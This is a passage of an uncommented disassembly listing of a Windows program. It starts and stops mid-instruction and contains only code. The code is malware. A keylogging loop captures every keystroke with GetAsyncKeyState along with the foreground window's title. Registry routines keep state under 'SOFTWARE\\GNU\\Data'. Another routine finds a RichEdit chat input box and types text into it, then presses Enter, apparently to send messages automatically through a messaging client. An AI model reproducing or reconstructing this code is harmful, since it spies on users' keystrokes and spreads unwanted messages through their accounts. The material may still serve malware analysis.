[esp+0Ch+arg_0] call sub_41484D cmp eax, 0FFFFFFFFh pop ecx jz short loc_408AE8 push [esp+0Ch+arg_0] mov eax, [esp+10h+arg_4] mov ecx, esi call sub_414A81 cmp eax, 0FFFFFFFFh jz short loc_408AE8 push 23h mov [ebx+14h], edi pop ebx call sub_414AE0 mov eax, edi jmp short loc_408AEA ; --------------------------------------------------------------------------- loc_408AE8: ; CODE XREF: sub_408A8C+37j ; sub_408A8C+4Bj xor eax, eax loc_408AEA: ; CODE XREF: sub_408A8C+5Aj pop edi pop esi pop ebx retn 8 sub_408A8C endp ; =============== S U B R O U T I N E ======================================= sub_408AF0 proc near ; CODE XREF: sub_4280CC-20E2Bp ; sub_4280CC-20E11p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_408AFA xor eax, eax retn ; --------------------------------------------------------------------------- loc_408AFA: ; CODE XREF: sub_408AF0+5j mov eax, [eax+8] sub eax, ecx sar eax, 2 retn sub_408AF0 endp ; =============== S U B R O U T I N E ======================================= sub_408B03 proc near ; CODE XREF: sub_407DB9+45p ; sub_407F83+2Fp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] lea eax, [edi+4] push edi push eax mov eax, [esi+8] call sub_414283 add dword ptr [esi+8], 0FFFFFFFCh pop ecx pop ecx mov [ebx], edi mov eax, ebx pop edi retn 4 sub_408B03 endp ; =============== S U B R O U T I N E ======================================= sub_408B23 proc near ; CODE XREF: sub_4142D6+410p push esi mov esi, eax and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh mov dword ptr [esi], offset off_430378 call sub_416AC4 mov eax, esi pop esi retn sub_408B23 endp ; =============== S U B R O U T I N E ======================================= sub_408B3D proc near ; DATA XREF: .text:0042A9C8o ; .text:0042FED0o ... arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40E07F test [esp+4+arg_0], 1 jz short loc_408B53 push esi call sub_41C7B8 pop ecx loc_408B53: ; CODE XREF: sub_408B3D+Dj mov eax, esi pop esi retn 4 sub_408B3D endp ; --------------------------------------------------------------------------- loc_408B59: ; DATA XREF: .text:off_430378o mov eax, offset loc_427A6D call sub_41E550 sub esp, 314h or dword ptr [ebp-10h], 0FFFFFFFFh and dword ptr [ebp-18h], 0 push ebx push esi push edi mov edi, ds:dword_4291F4 call edi ; GetForegroundWindow mov [ebp-1Ch], eax call sub_404AA9 push eax call ds:dword_429110 ; GetFileAttributesA xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov ebx, 100h mov [ebp-20h], ecx loc_408B9B: ; CODE XREF: .text:00408CB2j xor esi, esi loc_408B9D: ; CODE XREF: .text:00408BB5j push esi call ds:dword_429234 ; GetAsyncKeyState mov [ebp+esi*2-320h], ax movsx eax, ax add [ebp-18h], eax inc esi cmp esi, ebx jb short loc_408B9D mov eax, [ebp-10h] cmp eax, [ebp-18h] jz loc_408CA4 and dword ptr [ebp-10h], 0 loc_408BC7: ; CODE XREF: .text:00408C9Ej mov eax, [ebp-10h] cmp word ptr [ebp+eax*2-320h], 8001h jnz loc_408C94 call sub_404AA9 push eax lea esi, [ebp-14h] call sub_405C95 xor esi, esi lea eax, [ebp-14h] mov [ebp-4], esi call sub_405DAF test byte ptr [ebp-2FFh], 80h jz short loc_408BFF inc esi loc_408BFF: ; CODE XREF: .text:00408BFCj test byte ptr [ebp-2F7h], 80h jz short loc_408C0B xor esi, 1 loc_408C0B: ; CODE XREF: .text:00408C06j cmp byte ptr [ebp-10h], 0DFh jnb short loc_408C88 cmp byte ptr [ebp-10h], 7 jbe short loc_408C88 call edi ; GetForegroundWindow cmp eax, [ebp-1Ch] jz short loc_408C69 push ebx lea eax, [ebp-120h] push eax call edi ; GetForegroundWindow push eax call ds:dword_429264 ; GetWindowTextA cmp dword ptr [ebp-20h], 0 jz short loc_408C45 lea eax, [ebp-14h] push offset dword_430394 push eax call sub_405D68 pop ecx pop ecx loc_408C45: ; CODE XREF: .text:00408C33j lea eax, [ebp-120h] push eax lea eax, [ebp-14h] push offset dword_430388 push eax call sub_405D68 add esp, 0Ch call edi ; GetForegroundWindow mov [ebp-1Ch], eax mov dword ptr [ebp-20h], 1 loc_408C69: ; CODE XREF: .text:00408C1Cj movzx eax, byte ptr [ebp-10h] lea eax, [esi+eax*2] push ds:off_434AE0[eax*4] lea eax, [ebp-14h] push offset dword_430384 push eax call sub_405D68 add esp, 0Ch loc_408C88: ; CODE XREF: .text:00408C0Fj ; .text:00408C15j or dword ptr [ebp-4], 0FFFFFFFFh lea esi, [ebp-14h] call sub_405CF2 loc_408C94: ; CODE XREF: .text:00408BD4j inc dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 0DFh jb loc_408BC7 loc_408CA4: ; CODE XREF: .text:00408BBDj mov eax, [ebp-18h] push 19h mov [ebp-10h], eax call ds:dword_429084 ; Sleep jmp loc_408B9B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_408CB7 proc near ; CODE XREF: sub_408E9D+85p ; sub_40B45D+94p ... var_450 = byte ptr -450h var_330 = byte ptr -330h var_230 = byte ptr -230h var_130 = byte ptr -130h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 450h push ebx push esi push edi push 100h lea eax, [ebp+70h+var_330] push eax push [ebp+70h+arg_4] xor ebx, ebx lea edi, [ebp+70h+var_4] mov [ebp+70h+var_4], ebx call sub_409454 lea eax, [ebp+70h+var_330] push offset aNull ; "null" push eax call sub_41C730 add esp, 14h test eax, eax jnz short loc_408D21 lea eax, [ebp+70h+var_330] push eax lea eax, [ebp+70h+var_130] push eax call sub_41C930 mov ax, word ptr [ebp+70h+var_4] pop ecx pop ecx mov [ebp+70h+var_30], ax lea esi, [ebp+70h+var_130] jmp loc_408E8B ; --------------------------------------------------------------------------- loc_408D21: ; CODE XREF: sub_408CB7+40j push 120h lea eax, [ebp+70h+var_130] push ebx push eax call sub_41C6D0 lea eax, [ebp+70h+var_230] push offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data" push eax call sub_41C930 lea eax, [ebp+70h+var_230] push offset asc_42FDC4 ; "\\" push eax call sub_41C940 lea eax, [ebp+70h+var_230] push eax call sub_41C350 mov ecx, 0FFh sub ecx, eax push ecx push [ebp+70h+arg_4] lea eax, [ebp+70h+var_230] push eax call sub_41CC80 add esp, 2Ch lea eax, [ebp+70h+var_230] push eax push 80000001h lea eax, [ebp+70h+var_10] push eax mov [ebp+70h+var_C], ebx mov [ebp+70h+var_8], ebx mov [ebp+70h+var_10], ebx call sub_40DAEF test eax, eax jnz loc_408E6C lea eax, [ebp+70h+var_330] push eax lea eax, [ebp+70h+var_130] push eax call sub_41C930 mov ax, word ptr [ebp+70h+var_4] pop ecx pop ecx mov [ebp+70h+var_30], ax mov esi, offset aS_0 ; "S" push esi lea eax, [ebp+70h+var_10] push eax call sub_40D93E test eax, eax jz short loc_408DE0 push esi lea eax, [ebp+70h+var_10] push eax call sub_40DA68 mov [ebp+70h+var_2C], eax jmp short loc_408DE3 ; --------------------------------------------------------------------------- loc_408DE0: ; CODE XREF: sub_408CB7+118j mov [ebp+70h+var_2C], ebx loc_408DE3: ; CODE XREF: sub_408CB7+127j mov esi, offset dword_430468 push esi lea eax, [ebp+70h+var_10] push eax call sub_40D93E test eax, eax jz short loc_408E05 push esi lea eax, [ebp+70h+var_10] push eax call sub_40DA68 mov [ebp+70h+var_28], eax jmp short loc_408E08 ; --------------------------------------------------------------------------- loc_408E05: ; CODE XREF: sub_408CB7+13Dj mov [ebp+70h+var_28], ebx loc_408E08: ; CODE XREF: sub_408CB7+14Cj mov esi, offset dword_430424 push esi lea eax, [ebp+70h+var_10] push eax call sub_40D93E test eax, eax jz short loc_408E2A push esi lea eax, [ebp+70h+var_10] push eax call sub_40DA68 mov [ebp+70h+var_18], eax jmp short loc_408E2D ; --------------------------------------------------------------------------- loc_408E2A: ; CODE XREF: sub_408CB7+162j mov [ebp+70h+var_18], ebx loc_408E2D: ; CODE XREF: sub_408CB7+171j mov esi, offset dword_430440 push esi lea eax, [ebp+70h+var_10] push eax call sub_40D93E test eax, eax jz short loc_408E5D lea eax, [ebp+70h+var_4] push eax lea eax, [ebp+70h+var_20] push eax push ebx push ebx push esi push [ebp+70h+var_10] mov [ebp+70h+var_4], 8 call ds:dword_429004 ; RegQueryValueExA jmp short loc_408E6C ; --------------------------------------------------------------------------- loc_408E5D: ; CODE XREF: sub_408CB7+187j push 8 lea eax, [ebp+70h+var_20] push ebx push eax call sub_41C6D0 add esp, 0Ch loc_408E6C: ; CODE XREF: sub_408CB7+E4j ; sub_408CB7+1A4j push 48h pop ecx lea esi, [ebp+70h+var_130] lea edi, [ebp+70h+var_450] lea eax, [ebp+70h+var_10] rep movsd call sub_40D8F7 lea esi, [ebp+70h+var_450] loc_408E8B: ; CODE XREF: sub_408CB7+65j mov eax, [ebp+70h+arg_0] push 48h pop ecx mov edi, eax rep movsd pop edi pop esi pop ebx add ebp, 70h leave retn sub_408CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E9D proc near ; CODE XREF: sub_4027E5+2Dp ; sub_408F53+2Ap ... var_350 = byte ptr -350h var_230 = byte ptr -230h var_110 = byte ptr -110h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h push esi push edi push offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data" push 80000001h lea esi, [ebp+var_10] mov edi, eax call sub_40D8DC mov esi, 103h loc_408EC1: ; CODE XREF: sub_408E9D+58j ; sub_408E9D+5Ej lea eax, [ebp+var_4] push eax lea eax, [ebp+var_110] push eax push dword ptr [edi] lea eax, [ebp+var_10] push eax mov [ebp+var_4], 100h call sub_40DB1B cmp eax, esi jnz short loc_408EE7 cmp dword ptr [edi], 0 jz short loc_408F01 loc_408EE7: ; CODE XREF: sub_408E9D+43j cmp eax, 0EAh jz short loc_408EFF cmp eax, esi jnz short loc_408EF7 and dword ptr [edi], 0 jmp short loc_408EC1 ; --------------------------------------------------------------------------- loc_408EF7: ; CODE XREF: sub_408E9D+53j inc dword ptr [edi] test eax, eax jnz short loc_408EC1 jmp short loc_408F14 ; --------------------------------------------------------------------------- loc_408EFF: ; CODE XREF: sub_408E9D+4Fj inc dword ptr [edi] loc_408F01: ; CODE XREF: sub_408E9D+48j lea eax, [ebp+var_110] push offset aNull ; "null" push eax call sub_41C930 pop ecx pop ecx loc_408F14: ; CODE XREF: sub_408E9D+60j lea eax, [ebp+var_110] push eax lea eax, [ebp+var_350] push eax call sub_408CB7 pop ecx pop ecx push 48h mov esi, eax pop ecx lea edi, [ebp+var_230] lea eax, [ebp+var_10] rep movsd call sub_40D8F7 mov edi, [ebp+arg_0] mov eax, [ebp+arg_0] push 48h pop ecx lea esi, [ebp+var_230] rep movsd pop edi pop esi leave retn sub_408E9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F53 proc near ; CODE XREF: sub_4027E5+B3p ; sub_408F96+C3p ... var_124 = byte ptr -124h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 124h call sub_409351 dec eax jns short loc_408F66 xor eax, eax loc_408F66: ; CODE XREF: sub_408F53+Fj push esi push edi push eax push 0 call sub_40D864 mov [ebp+var_4], eax lea eax, [ebp+var_124] push eax lea eax, [ebp+var_4] call sub_408E9D mov edi, [ebp+arg_0] add esp, 0Ch push 48h pop ecx mov esi, eax mov eax, [ebp+arg_0] rep movsd pop edi pop esi leave retn sub_408F53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F96 proc near ; CODE XREF: sub_402920+162p ; .text:00408602p ... var_AE0 = byte ptr -0AE0h var_9C0 = byte ptr -9C0h var_8A0 = byte ptr -8A0h var_780 = byte ptr -780h var_680 = byte ptr -680h var_580 = byte ptr -580h var_480 = byte ptr -480h var_380 = dword ptr -380h var_360 = byte ptr -360h var_260 = dword ptr -260h var_248 = dword ptr -248h var_240 = byte ptr -240h var_120 = byte ptr -120h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0AE0h push [ebp+arg_0] call sub_4093AD test eax, eax pop ecx jnz locret_4091F7 push ebx push esi push edi mov ebx, 100h push ebx lea eax, [ebp+var_680] push eax push [ebp+arg_0] xor esi, esi lea edi, [ebp+var_18] mov [ebp+var_8], esi call sub_409454 add esp, 0Ch jmp loc_4090CF ; --------------------------------------------------------------------------- loc_408FD8: ; CODE XREF: sub_408F96+141j mov [ebp+var_20], esi mov [ebp+var_4], esi call sub_409351 test eax, eax jbe short loc_409048 loc_408FE7: ; CODE XREF: sub_408F96+AEj lea eax, [ebp+var_8A0] push eax lea eax, [ebp+var_20] call sub_408E9D pop ecx push 48h mov esi, eax pop ecx lea edi, [ebp+var_480] rep movsd mov eax, [ebp+var_380] cmp ax, word ptr [ebp+var_18] jnz short loc_409039 push eax lea eax, [ebp+var_480] push eax mov eax, ebx lea edi, [ebp+var_580] call sub_4094D4 mov eax, edi push eax call sub_4091F9 add esp, 0Ch cmp [ebp+var_4], 0 jbe short loc_409039 dec [ebp+var_4] loc_409039: ; CODE XREF: sub_408F96+78j ; sub_408F96+9Ej inc [ebp+var_4] call sub_409351 cmp [ebp+var_4], eax jb short loc_408FE7 xor esi, esi loc_409048: ; CODE XREF: sub_408F96+4Fj call sub_409351 cmp eax, 64h jb short loc_4090C3 lea eax, [ebp+var_9C0] push eax call sub_408F53 and [ebp+var_4], 0 pop ecx push 48h pop ecx mov esi, eax lea edi, [ebp+var_360] rep movsd loc_409070: ; CODE XREF: sub_408F96+104j cmp [ebp+var_248], 1 jnz short loc_40909C lea eax, [ebp+var_AE0] push eax call sub_408F53 inc [ebp+var_4] cmp [ebp+var_4], 64h pop ecx push 48h pop ecx mov esi, eax lea edi, [ebp+var_360] rep movsd jb short loc_409070 loc_40909C: ; CODE XREF: sub_408F96+E1j push [ebp+var_260] lea eax, [ebp+var_360] push eax mov eax, ebx lea edi, [ebp+var_120] call sub_4094D4 mov eax, edi push eax call sub_4091F9 add esp, 0Ch xor esi, esi loc_4090C3: ; CODE XREF: sub_408F96+BAj inc [ebp+var_8] cmp [ebp+var_8], 3E8h ja short loc_4090DD loc_4090CF: ; CODE XREF: sub_408F96+3Dj call sub_409351 cmp eax, 64h jnb loc_408FD8 loc_4090DD: ; CODE XREF: sub_408F96+137j push [ebp+var_18] lea eax, [ebp+var_680] push eax mov eax, ebx lea edi, [ebp+var_780] call sub_4094D4 lea eax, [ebp+var_240] push offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data" push eax call sub_41C930 lea eax, [ebp+var_240] push offset asc_42FDC4 ; "\\" push eax call sub_41C940 lea eax, [ebp+var_240] push eax call sub_41C350 mov ecx, 0FFh sub ecx, eax push ecx mov eax, edi push eax lea eax, [ebp+var_240] push eax call sub_41CC80 add esp, 28h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push eax push esi push 2001Fh push esi push esi push esi lea eax, [ebp+var_240] push eax mov edi, 80000001h push edi mov [ebp+var_10], esi mov [ebp+var_C], esi mov [ebp+var_14], esi call ds:dword_42900C ; RegCreateKeyExA lea esi, [ebp+var_14] call sub_40DB08 cmp [ebp+var_1C], 1 jnz short loc_4091EC xor esi, esi push 8 lea eax, [ebp+var_30] push esi push eax mov [ebp+var_38], esi mov [ebp+var_3C], esi mov [ebp+var_28], esi call sub_41C6D0 add esp, 0Ch lea eax, [ebp+var_240] push eax push edi lea eax, [ebp+var_14] push eax call sub_40DAEF push [ebp+var_3C] lea eax, [ebp+var_14] push offset aS_0 ; "S" push eax call sub_40DA4A push [ebp+var_38] lea eax, [ebp+var_14] push offset dword_430468 push eax call sub_40DA4A push [ebp+var_28] lea eax, [ebp+var_14] push offset dword_430424 push eax call sub_40DA4A push 8 lea eax, [ebp+var_30] push eax push 3 push esi push offset dword_430440 push [ebp+var_14] call ds:dword_429020 ; RegSetValueExA loc_4091EC: ; CODE XREF: sub_408F96+1DFj lea eax, [ebp+var_14] call sub_40D8F7 pop edi pop esi pop ebx locret_4091F7: ; CODE XREF: sub_408F96+14j leave retn sub_408F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091F9 proc near ; CODE XREF: sub_408F96+92p ; sub_408F96+123p ... var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h lea eax, [ebp+var_100] push offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data" push eax call sub_41C930 lea eax, [ebp+var_100] push offset asc_42FDC4 ; "\\" push eax call sub_41C940 lea eax, [ebp+var_100] push eax call sub_41C350 mov ecx, 0FFh sub ecx, eax push ecx push [ebp+arg_0] lea eax, [ebp+var_100] push eax call sub_41CC80 add esp, 20h lea eax, [ebp+var_100] push eax push 80000001h call ds:dword_429000 ; RegDeleteKeyA leave retn sub_4091F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40925E proc near ; CODE XREF: sub_40B45D+BDp ; sub_40B543+C2p ... var_20C = byte ptr -20Ch var_10C = byte ptr -10Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_100 = dword ptr 108h arg_104 = dword ptr 10Ch arg_108 = dword ptr 110h arg_110 = byte ptr 118h arg_118 = dword ptr 120h push ebp mov ebp, esp sub esp, 20Ch push edi push [ebp+arg_100] lea eax, [ebp+arg_0] push eax mov eax, 100h lea edi, [ebp+var_20C] call sub_4094D4 lea eax, [ebp+var_10C] push offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data" push eax call sub_41C930 lea eax, [ebp+var_10C] push offset asc_42FDC4 ; "\\" push eax call sub_41C940 lea eax, [ebp+var_10C] push eax call sub_41C350 mov ecx, 0FFh sub ecx, eax push ecx mov eax, edi push eax lea eax, [ebp+var_10C] push eax call sub_41CC80 and [ebp+var_8], 0 and [ebp+var_4], 0 and [ebp+var_C], 0 add esp, 28h lea eax, [ebp+var_10C] push eax push 80000001h lea eax, [ebp+var_C] push eax call sub_40DAEF test eax, eax pop edi jnz short loc_409347 push [ebp+arg_104] lea eax, [ebp+var_C] push offset aS_0 ; "S" push eax call sub_40DA4A push [ebp+arg_108] lea eax, [ebp+var_C] push offset dword_430468 push eax call sub_40DA4A push [ebp+arg_118] lea eax, [ebp+var_C] push offset dword_430424 push eax call sub_40DA4A push 8 lea eax, [ebp+arg_110] push eax push 3 push 0 push offset dword_430440 push [ebp+var_C] call ds:dword_429020 ; RegSetValueExA loc_409347: ; CODE XREF: sub_40925E+90j lea eax, [ebp+var_C] call sub_40D8F7 leave retn sub_40925E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409351 proc near ; CODE XREF: sub_4027E5+14p ; sub_4027E5+51p ... var_14 = byte ptr -14h var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 14h push esi push edi push offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data" push 80000001h lea esi, [ebp+var_14] xor edi, edi call sub_40D8DC lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1] push eax push edi mov eax, esi push eax mov [ebp+var_8], edi call sub_40DB1B mov esi, 103h jmp short loc_40939B ; --------------------------------------------------------------------------- loc_409388: ; CODE XREF: sub_409351+4Cj lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1] push eax inc edi push edi lea eax, [ebp+var_14] push eax call sub_40DB1B loc_40939B: ; CODE XREF: sub_409351+35j cmp eax, esi jnz short loc_409388 lea eax, [ebp+var_14] call sub_40D8F7 mov eax, edi pop edi pop esi leave retn sub_409351 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093AD proc near ; CODE XREF: sub_408F96+Cp var_10C = byte ptr -10Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push esi lea eax, [ebp+var_10C] push offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data" push eax call sub_41C930 lea eax, [ebp+var_10C] push offset asc_42FDC4 ; "\\" push eax call sub_41C940 lea eax, [ebp+var_10C] push eax call sub_41C350 mov ecx, 0FFh sub ecx, eax push ecx push [ebp+arg_0] lea eax, [ebp+var_10C] push eax call sub_41CC80 add esp, 20h lea eax, [ebp+var_10C] push eax xor esi, esi push 80000001h lea eax, [ebp+var_C] push eax mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_C], esi call sub_40DAEF test eax, eax jnz short loc_409424 inc esi loc_409424: ; CODE XREF: sub_4093AD+74j lea eax, [ebp+var_C] call sub_40D8F7 mov eax, esi pop esi leave retn sub_4093AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409431 proc near ; CODE XREF: .text:0040BBBDp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax call ds:dword_429120 ; GetSystemTimeAsFileTime mov eax, [ebp+var_8] mov [esi+110h], eax mov eax, [ebp+var_4] mov [esi+114h], eax leave retn sub_409431 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409454 proc near ; CODE XREF: sub_408CB7+25p ; sub_408F96+35p ... var_108 = byte ptr -108h var_107 = byte ptr -107h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push esi push 107h push [ebp+arg_0] lea eax, [ebp+var_108] push eax mov word ptr [edi], 8 call sub_41C5A0 lea eax, [ebp+var_108] push 3Ah push eax call sub_41C3F0 mov esi, eax lea eax, [ebp+var_108] sub esi, eax add esp, 14h test esi, esi jle short loc_4094BA push eax call sub_41C350 cmp esi, eax pop ecx jnb short loc_4094B2 lea eax, [ebp+esi+var_107] push eax call sub_41D59C pop ecx mov [edi], ax loc_4094B2: ; CODE XREF: sub_409454+4Bj mov [ebp+esi+var_108], 0 loc_4094BA: ; CODE XREF: sub_409454+40j mov eax, [ebp+arg_8] dec eax push eax lea eax, [ebp+var_108] push eax push [ebp+arg_4] call sub_41C5A0 add esp, 0Ch pop esi leave retn sub_409454 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094D4 proc near ; CODE XREF: sub_402920+15Ap ; sub_408F96+8Ap ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, eax push esi push 0 push edi call sub_41C6D0 lea eax, [esi-1] push eax push [ebp+arg_0] push edi call sub_41C5A0 push edi call sub_41C350 mov ecx, esi sub ecx, eax dec ecx push ecx push offset asc_43015C ; ":" push edi call sub_41CC80 push edi call sub_41C350 add esp, 2Ch sub esi, eax dec esi push esi push 0Ah lea eax, [ebp+var_8] push eax movzx eax, [ebp+arg_4] push eax call sub_421A02 add esp, 0Ch push eax push edi call sub_41CC80 add esp, 0Ch mov eax, edi pop esi leave retn sub_4094D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409538 proc near ; CODE XREF: sub_4095A8+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_0], ebx push esi push edi jz short loc_40959C cmp [ebp+arg_4], ebx jz short loc_40959C call ds:off_434144 mov esi, ds:dword_429124 push ebx push ebx push [ebp+arg_4] mov [ebp+var_8], eax push [ebp+arg_0] push ebx push eax call esi ; MultiByteToWideChar cmp [ebp+arg_4], 0FFFFFFFFh mov edi, eax jnz short loc_409572 lea eax, [edi-1] loc_409572: ; CODE XREF: sub_409538+35j push eax push ebx call ds:dword_4291C4 cmp eax, ebx mov [ebp+var_4], eax jz short loc_4095A3 push edi push eax push [ebp+arg_4] push [ebp+arg_0] push ebx push [ebp+var_8] call esi ; MultiByteToWideChar cmp eax, edi jz short loc_4095A3 push [ebp+var_4] call ds:dword_4291D4 loc_40959C: ; CODE XREF: sub_409538+Dj ; sub_409538+12j xor eax, eax loc_40959E: ; CODE XREF: sub_409538+6Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4095A3: ; CODE XREF: sub_409538+47j ; sub_409538+59j mov eax, [ebp+var_4] jmp short loc_40959E sub_409538 endp ; =============== S U B R O U T I N E ======================================= sub_4095A8 proc near ; CODE XREF: sub_4095D4+41p arg_0 = dword ptr 4 cmp [esp+arg_0], 0 jz short loc_4095CC push 0FFFFFFFFh push [esp+4+arg_0] call sub_409538 test eax, eax pop ecx pop ecx mov [esi], eax jnz short loc_4095CF push 8007000Eh call sub_405FCD loc_4095CC: ; CODE XREF: sub_4095A8+5j and dword ptr [esi], 0 loc_4095CF: ; CODE XREF: sub_4095A8+18j mov eax, esi retn 4 sub_4095A8 endp ; =============== S U B R O U T I N E ======================================= sub_4095D4 proc near ; CODE XREF: sub_4098F3+9Bp ; sub_40F60E+2Fp mov eax, offset loc_427A5B call sub_41E550 sub esp, 0A8h push ebx push esi push edi xor ebx, ebx push ebx call ds:dword_4292F4 lea eax, [ebp-24h] push eax push offset dword_429330 push 4 push ebx push offset dword_4293E0 call ds:dword_4292F8 test eax, eax jl loc_409714 push dword ptr [ebp+8] lea esi, [ebp-1Ch] call sub_4095A8 mov [ebp-4], ebx mov eax, [ebp-1Ch] lea edx, [ebp-20h] push edx mov [ebp-2Ch], eax mov eax, [ebp-24h] mov ecx, [eax] sub esp, 10h mov word ptr [ebp-34h], 8 mov edi, esp lea esi, [ebp-34h] movsd movsd movsd push eax movsd call dword ptr [ecx+54h] test eax, eax jl loc_409702 mov eax, [ebp-20h] mov ecx, [eax] lea edx, [ebp-14h] push edx push offset dword_429310 push eax call dword ptr [ecx] mov eax, [ebp-20h] mov ecx, [eax] push eax call dword ptr [ecx+8] mov eax, [ebp-14h] mov ecx, [eax] lea edx, [ebp-10h] push edx push eax call dword ptr [ecx+20h] push 80h lea eax, [ebp-0B4h] push eax push dword ptr [ebp-10h] call ds:dword_429264 ; GetWindowTextA mov esi, ds:dword_42925C push ebx mov eax, offset aRichedit20w ; "RichEdit20W" push eax push ebx push eax push ebx push dword ptr [ebp-10h] call esi ; FindWindowExA push eax push dword ptr [ebp-10h] call esi ; FindWindowExA cmp eax, ebx mov [ebp-18h], eax jz short loc_4096EB push dword ptr [ebp+0Ch] xor edi, edi call sub_41C350 test eax, eax mov esi, ds:dword_429260 pop ecx jbe short loc_4096DE loc_4096BD: ; CODE XREF: sub_4095D4+108j mov eax, [ebp+0Ch] movsx eax, byte ptr [edi+eax] push ebx push eax push 102h push dword ptr [ebp-18h] call esi ; SendMessageA push dword ptr [ebp+0Ch] inc edi call sub_41C350 cmp edi, eax pop ecx jb short loc_4096BD loc_4096DE: ; CODE XREF: sub_4095D4+E7j push ebx push 0Dh push 100h push dword ptr [ebp-18h] call esi ; SendMessageA loc_4096EB: ; CODE XREF: sub_4095D4+D2j cmp [ebp+10h], ebx jz short loc_4096F9 mov eax, [ebp-14h] mov ecx, [eax] push eax call dword ptr [ecx+1Ch] loc_4096F9: ; CODE XREF: sub_4095D4+11Aj mov eax, [ebp-14h] mov ecx, [eax] push eax call dword ptr [ecx+8] loc_409702: ; CODE XREF: sub_4095D4+70j mov eax, [ebp-24h] mov ecx, [eax] push eax call dword ptr [ecx+8] push dword ptr [ebp-1Ch] call ds:dword_4291D4 loc_409714: ; CODE XREF: sub_4095D4+35j call ds:dword_4292FC mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_4095D4 endp ; =============== S U B R O U T I N E ======================================= sub_409729 proc near ; CODE XREF: sub_4098F3+15p mov eax, offset loc_427D6E call sub_41E550 sub esp, 4Ch push ebx xor ebx, ebx mov [ebp-2Ch], ebx push esi mov [ebp-38h], ebx mov [ebp-34h], ebx mov [ebp-30h], ebx push ebx mov [ebp-4], ebx call ds:dword_4292F4 lea eax, [ebp-2Ch] push eax push offset dword_429330 push 4 push ebx push offset dword_4293E0 call ds:dword_4292F8 test eax, eax jl loc_409894 mov eax, [ebp-2Ch] mov ecx, [eax] push edi lea edx, [ebp-10h] push edx push eax call dword ptr [ecx+68h] mov eax, [ebp-10h] mov ecx, [eax] lea edx, [ebp-24h] push edx push offset dword_429380 push eax call dword ptr [ecx] mov eax, [ebp-10h] mov ecx, [eax] push eax call dword ptr [ecx+8] mov eax, [ebp-24h] lea edx, [ebp-20h] push edx mov [ebp-20h], ebx mov ecx, [eax] push eax call dword ptr [ecx+1Ch] xor edi, edi cmp [ebp-20h], ebx jbe loc_40988A loc_4097B2: ; CODE XREF: sub_409729+15Bj mov eax, [ebp-24h] mov ecx, [eax] lea edx, [ebp-10h] push edx push edi push eax call dword ptr [ecx+20h] mov eax, [ebp-10h] mov ecx, [eax] lea edx, [ebp-28h] push edx push offset dword_429370 push eax call dword ptr [ecx] mov eax, [ebp-10h] mov ecx, [eax] push eax call dword ptr [ecx+8] mov 